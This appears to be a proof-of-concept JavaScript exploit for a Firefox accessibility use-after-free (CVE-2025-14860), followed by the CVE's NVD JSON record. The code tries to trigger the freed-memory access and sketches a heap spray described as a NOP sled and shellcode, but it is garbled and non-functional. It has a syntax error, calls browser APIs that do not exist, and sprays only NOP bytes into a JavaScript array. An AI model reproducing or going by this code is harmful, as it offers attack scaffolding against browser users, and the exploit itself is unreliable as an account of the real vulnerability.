CVE-2025-14860

// CVE-2025-14860 PoC - Firefox Disability Access APIs Use-after-free // This PoC demonstrates the vulnerability concept const targetElement = document.createElement('div'); document.body.appendChild(targetElement); // Trigger accessibility APIs if (window Accessibility) { const ax = accessibility; // Rapidly create and destroy accessibility tree nodes for (let i = 0; i < 1000; i++) { const tempElement = document.createElement('button'); tempElement.setAttribute('aria-label', 'Button ' + i); document.body.appendChild(tempElement); // Force accessibility tree update ax.updateTree(); // Remove element - may trigger UAF if timing is right document.body.removeChild(tempElement); } // Try to access the freed memory through dangling pointer try { // This may access freed memory if vulnerability exists const leakedData = ax.getComputedRole(targetElement); console.log('Leaked data:', leakedData); } catch (e) { console.log('Error accessing freed memory:', e.message); } } // Alternative: Heap spraying technique function heapSpray() { const spraySize = 0x100000; const sprayData = new Uint8Array(spraySize); // Fill with NOP sled and shellcode for (let i = 0; i < spraySize; i++) { sprayData[i] = 0x90; // NOP instruction } // Trigger GC to potentially reuse freed memory sprayData = null; // Try to trigger UAF again const ax = accessibility; ax.updateTree(); } console.log('CVE-2025-14860 PoC loaded');

{"cve": {"id": "CVE-2025-14860", "sourceIdentifier": "[email protected]", "published": "2025-12-18T15:15:53.057", "lastModified": "2026-04-13T15:16:47.413", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use-after-free in the Disability Access APIs component. This vulnerability was fixed in Firefox 146.0.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "146.0.1", "matchCriteriaId": "A4308430-B3C6-4451-8A1B-BDD115E81819"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2000597", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-98/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}